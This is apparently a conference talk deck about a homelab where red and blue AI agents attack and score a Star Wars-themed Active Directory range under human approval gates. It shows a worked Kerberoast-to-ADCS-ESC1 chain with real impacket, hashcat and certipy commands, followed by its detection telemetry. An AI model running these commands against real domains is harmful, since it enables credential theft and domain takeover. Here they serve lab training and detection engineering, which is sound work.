```
root@coruscant:~# ./origin-story --venue 2600-malmo

[+] amiga kid turned fxp box-owner turned security engineer
[+] three AD domains built, broken, rebuilt
[+] red loop attacks; blue loop scores; human approves
[+] local models hum in the cupboard like caffeinated demons
[*] tonight: less pitch deck, more lab confession
```

SAGA

Star Wars Active Directory Galactic Arena

Three AD domains. Eight attack paths. A red/blue AI loop that runs while I sleep — on my own hardware, with my own models, with a human holding the commit button.

3 / 3	9 / 9	320+	15	100%
domains owned	techniques detected	commits 24 days	MCP servers	local inference

Claes "kryssar" Gyllhamn · github.com/kryssar · Security Engineer @ sciber.io

// 01 · origin story

"doomed from the start"

20+ years in IT, starting from a very specific kind of education

The Amiga Kid

~8 years old

Took over my brother's Amiga 500. Got hooked by Moonstone. The obsession began.

The mIRC Years

Teens

Hanging around with hackers on IRC. FxP scene, box-owning, FTP rings. Sharing warez, 0days, and learning from everyone.

20+ Years of IT

Career

Turned the hacker curiosity into a career. Security engineering, building things, breaking things, repeat.

> *"me and a couple of friends became box owners and had an FTP-ring, with people from all over sharing anything from software and games to music and movies"*

// 02 · the spark

from Smallville binge to fightclub for AI

2600 meeting

Somebody talked about their homelab with Terraform + Proxmox.
"That sounds like fun, I should try that."

...then nothing

9 seasons of Smallville happened.
Superman hyperfocus. You know how it is.

"fightclub for AI"

Finally bored enough to start building.
Sprinkle on some AI FOMO and my background in building stuff.

MacGyver mode

"What stuff do I have lying around that can be put together?"
A home-network turned enterprise, with duct tape.

HTB Pro Labs, but ours — and it attacks itself

It started as a documentation vault for a Game of Active Directory lab. Then it grew an AI orchestration layer that runs the whole offensive–defensive lifecycle on its own, overnight, end to end.

Autonomous

Agents own the full Research → Strategy → Execution → Reflection loop. A red agent plans and runs attacks; a blue agent scores detection. No human in the inner loop.

Local-first

Own iron, own models. 17 LLMs catalogued on a single RTX 5070 Ti. Cloud is optional fallback only — and everything passing to it goes through a redaction proxy first.

Disciplined

"AI proposes, human commits." Hard scope gates, an audit log on every state change, protected zones that are never touched, and no git push without my approval.

// 04 · the iron

five machines, one control plane

"basically what stuff do I have lying around that can be put together"

labtop 10.0.0.10	Ubuntu 24.04 · Docker, n8n, Malcolm, Wazuh, LiteLLM, MCP bridge *(my friend's laptop I repurposed)*	Orchestrator
battlestation 10.0.0.17	RTX 5070 Ti · LM Studio · 17 models, VRAM-safeguarded *(yes, I like gaming too)*	Local AI compute
labtv 10.0.0.77	RTX 4060 · Fedora · Ollama, ComfyUI, auto-attack agent *(real original naming scheme)*	Docker runner
hacklab 10.0.0.38	Proxmox VE 8.x · All lab VMs · snapshot-driven reset *(old lab-server, resurrected)*	Hypervisor
NAS 10.0.0.99	Synology 925+ · ~11TB · ISOs, backups, second brain *(wallet was NOT happy)*	Evidence vault

`+ hacktop (Kali barebone · VLAN 30)  |  + hacklab.cloud (VPS · n8n · bugbounty recon)`

// 05 · the target

SAGA — a Star Wars Active Directory forest

Formerly GOAD-Light. Renamed because… why not Star Wars? Five core AD VMs across three domains, plus Pro-Lab standalone targets.

galactic.empire

CORUSCANT-DC

10.10.20.10 · Forest root DC

deathstar.galactic.empire

DS-COMMAND-DC

10.10.20.11 · Child DC

rebel.alliance

ALDERAAN-DC

10.10.20.12 · External trust DC

Member servers & workstations

CLONE-TROOPER-01
Workstation · PtH owned

DS-WEAPONS-SRV
MSSQL member · .22

ALDERAAN-CA-SRV
ADCS CA · ESC1 path

Pro-Lab tier — standalone targets (all fully compromised)

DVWA-FINAL
Command injection ⟶ agent deploy

DEVBOX
Jenkins · Groovy RCE

WINCLIENT
Win10 · lateral pivot

MOS-EISLEY CANTINA
Juice Shop · SQLi

three subscriptions at $20 a pop — totally not an addiction

1. **ChatGPT + Codex**
   "A colleague said I should evaluate AI for the lab"
2. **Claude + Claude Code**
   "Another colleague said I should evaluate Claude!"
3. **Google Gemini**
   "Found out about token windows. 5h window gone in very few prompts."
4. **OpenRouter + LiteLLM**
   "That sounded like fun" — loaded up $20 at a time
5. **LM Studio + Ollama**
   "Uncensored local models for the security testing parts"

AI Office Politics: *"I asked ChatGPT for a prompt to hand to Claude and vice versa. Turns out Codex/ChatGPT has a grudge against Claude — both often 'forget' to mention the other."*

// 07 · the engine

the autonomous purple-team loop

RESEARCH → STRATEGY → EXECUTION → REFLECTION

↺ loops every night; the knowledge graph feeds tomorrow's scope

RED AGENT

1. Query knowledge graph for target state + signed scope
2. LiteLLM tier-strategy drafts the attack plan
3. Scope gate — no approved YAML, no execution
4. Auto-attack container fires the TTP on hacktop
5. Evidence captured to the NAS vault

BLUE AGENT

1. Pull Velociraptor + Wazuh telemetry post-attack
2. Malcolm NDR correlates the network side
3. LiteLLM tier-analysis scores detection coverage
4. Writes a reflection artifact to the vault
5. Gaps become tomorrow's detection-engineering work

```
Knowledge-graph sync   attack paths updated  →  Hugo rebuilds /reflections/  →  current.yaml advances  →  next night's scope
```

// 08 · the brain

AI orchestration — routed, redacted, local

"why should I do the work when I can have AI do it for me?" — a learning curve, it turns out

LiteLLM gateway :4000

Unified tier-based routing. Five tiers, cheap-summary → strategy. The right model for the right job.

Redaction proxy :4001

Strips PII, credentials and hashes before any cloud-LLM fallback. Nothing sensitive leaves the vault.

LM Studio + Ollama local

17 models catalogued on the battlestation, VRAM-safeguarded. Token-heavy tasks offloaded to local.

OpenBao (Vault) secrets

Every credential in secret/lab/creds KV. Zero plaintext anywhere in the documentation vault.

15 MCP servers bridge

Proxmox, UniFi, NetBox, Kali, HexStrike, Docker, LM Studio… natural-language control of the whole lab.

43+ skills registry

REGISTRY.yaml maps a plain-language task to the right tool + the approval gate it must pass.

Built AI-agnostic from day one — "to not be limited by any one subscription"

// 09 · the proof

every technique: executed AND detected

TECHNIQUE	MITRE	LOOP RESULT
Kerberoasting	T1558.003	✓ executed + detected
DCSync	T1003.006	✓ executed + detected
Pass-the-Hash	T1550.002	✓ executed + detected
MSSQL xp_cmdshell	T1059.003	✓ executed + detected
RBCD delegation	T1134.001	✓ executed + detected
S4U2Proxy	T1558	✓ executed + detected
ExtraSID hop	T1134.005	✓ executed + detected
ADCS ESC1	T1649	✓ executed + detected
SQLi / web attack	T1190	✓ executed + detected

8

targets fully compromised

9 / 9

techniques executed + detected

3 / 3

AD domains owned

// 10 · one path, end to end

two chained paths take the CA

AP-002 + AP-007 — Kerberoast a service account, crack it offline, then ride an ADCS misconfig to Domain Admin on rebel.alliance.

1	2	3	4	5	6
FOOTHOLD	**KERBEROAST**	**CRACK**	**FIND ESC1**	**FORGE CERT**	**DOMAIN ADMIN**
low-priv creds on rebel.alliance	T1558.003 request a TGS	offline hashcat -m 13100	T1649 vuln cert template	request as administrator	ALDERAAN-CA-SRV owned

TARGET	ALDERAAN-CA-SRV — rebel.alliance ADCS Certificate Authority
ATTACKER	hacktop (Kali) on the segmented attack VLAN
OUTCOME	Full domain compromise — executed + detected · 2026-05-17

Red — Kerberoast ⟶ ESC1 in five moves

```
hacktop:~/ap-002 $

# 1 · kerberoast a service account           T1558.003
$ GetUserSPNs.py rebel.alliance/svc-web -dc-ip 10.10.20.12 -request

# 2 · crack the TGS ticket offline
$ hashcat -m 13100 tgs.hash rockyou.txt
  svc-web : Sup3rSecret!

# 3 · hunt a vulnerable cert template         T1649
$ certipy find -u svc-web@rebel.alliance -vulnerable
  [!] ESC1: 'RebelAuth' — enrollee supplies the SAN

# 4 · request a certificate AS administrator
$ certipy req -ca REBEL-CA -template RebelAuth \
       -upn administrator@rebel.alliance

# 5 · authenticate with the forged identity
$ certipy auth -pfx administrator.pfx
  ->  NT hash + TGT   ::   DOMAIN ADMIN
```

Why Kerberoast works

Any domain user can request a service ticket for any SPN. The TGS is encrypted with the account's hash — crackable offline, no privileges needed.

Why ESC1 is game over

The template allows low-priv enrollment + a client-auth EKU + an enrollee-supplied SAN. Name yourself 'administrator' and the CA signs it.

Net effect

One service password + one template flag = Domain Admin. No exploit, no malware — trusted AD features used as designed.

// 10 · one path · the detection

Blue — what the loop caught (and what it didn't)

RED ACTION	TELEMETRY SIGNAL	
Kerberoast — TGS request	Security 4769 · TGS for svc-web with RC4 (0x17)	✓
Offline hash crack	None — runs on the attacker box, never touches the wire	✗
certipy find — template enum	LDAP query to the CA config container · Velociraptor hunt	✓
ESC1 — cert request	ADCS 4886/4887 · certificate issued with SAN ≠ requester	✓
PKINIT cert auth	Security 4768 (PKINIT TGT) + 4624 admin logon unusual host	✓

Reflection outcome — 4 / 5 detected

The offline crack is unobservable by design, so the blue agent logs it as an accepted gap and writes the next hardening task: disable RC4, enforce AES, lock the enrollee-supplied-SAN flag on RebelAuth. The loop only closes when that template can't be abused again.

// 11 · closing the loop

Blue team — detection is the deliverable

A compromise isn't done when the shell lands. It's done when the detection is written, scored, and committed.

Malcolm NDR

PCAP ingest · Zeek · Suricata · OpenSearch.
Split across labtop + labtv.

Wazuh 4.9.2

SIEM + agent telemetry on every VM.
Custom rules 100001–100050.

Velociraptor 0.76.3

EVTX collection + forensic hunts.
Sysmon across 8 clients.

n8n 2.19.5

Timed telemetry pulls, alert routing, the reflection orchestration.

Full-stack coverage across all 8 live hosts

Velociraptor, Wazuh, Sysmon and WEF⟶Malcolm report on every Windows host; Linux targets run VR + Wazuh agents. The ADCS CA server runs a hardened telemetry profile. The blue agent's detection score for each red action drives the next hardening cycle — the loop only closes when the gap is closed.

// 12 · the kill switch

AI proposes. The human commits.

The autonomy is real — so the guardrails have to be too. These are non-negotiable, hard-coded across every agent.

READY gate

No offensive action unless current.yaml shows reset_capability: READY. If the lab can't be restored, nothing fires.

Scope gate

Every technique needs an approved scope YAML in 15-ai-agents/scope/. The agent literally cannot act outside it.

Redaction proxy

All cloud-LLM traffic is forced through the proxy. No raw credentials, hashes or PII ever leave the vault.

Audit log

Every state-modifying action appends to evidence/audit/audit.log. The whole night is reconstructable.

Protected zones

A non-lab host on the same LAN, VMIDs < 100, golden templates and ~/ekonomi/ are permanently off-limits to all agents.

No push without me

Commits stage locally. I review every diff and approve every push by hand. The repo never moves on its own.

// 13 · the fuckups

a LOT of redesigns and rabbit holes

Claude nuked it from orbit

Started with handcrafted VMs, moved to Ansible templates. Claude was "more than happy" to destroy the whole setup during routine maintenance. Queue complete redesign.

The ICM rabbit hole

"This is why the project comes to a standstill every now and then when kryssar gets sidetracked on a side quest that leads down a rabbit hole and suddenly we now have re-designed the map-structure according to ICM, yet again!"

AI office politics

ChatGPT/Codex and Claude/Claude Code have a grudge against each other. Both "forget" to mention or utilize the other. So much for no office politics.

Subscription creep

"Three subscriptions at $20 a pop, totally not an addiction!" Plus Netflix, Disney+, HBO, Amazon Prime… "I like to have choices and experiment."

"some days i want to burn it down with napalm — but the things i learn, i can bring back to colleagues and the community, and i still feel like a noob"

Phase 6 — from validated loop to scenario engine

NOW

Overnight autonomous loop

Full unattended Research→Reflection runs against the Pro-Lab tier, scored end to end.

NEXT

CTF Scholar agent

An agent that ingests new techniques into the knowledge library and proposes lab scenarios.

NEXT

Scenario generator

n8n + local AI generate fresh, validated AD attack scenarios on demand — the "own HTB" vision.

LATER

C2 integration (Sliver)

Move beyond single TTPs into full post-exploitation chains, fully instrumented for detection.

↻ *It watches itself, too: every 30 minutes a reflection loop checkpoints the active session, n8n health and repo drift, then republishes the public AI Thinking page.*

research → strategy → execution → reflection

```
[+] Evidence preserved
[+] Snapshots ready
[+] Coffee recommended
[?] Who wants the packet captures?
```

// the takeaway

Autonomy is fine.
The kill switch stays in human hands.

This homelab started as vulnerable AD practice, but the real project became the system around it: telemetry, evidence, automation, AI orchestration, and repeatable learning.
The compromise was the milestone; the platform is the achievement.

It's a sandbox for learning to operate AI agents the way I'd want them operated in production.

kryssar.se

Lab chronicles, ADRs, the live AI Thinking page

github.com/kryssar

Sanitized vault · walkthroughs · tooling

in/claesgyllhamn

Say hi — happy to go deeper over a beer

Tack. Questions → the floor is open.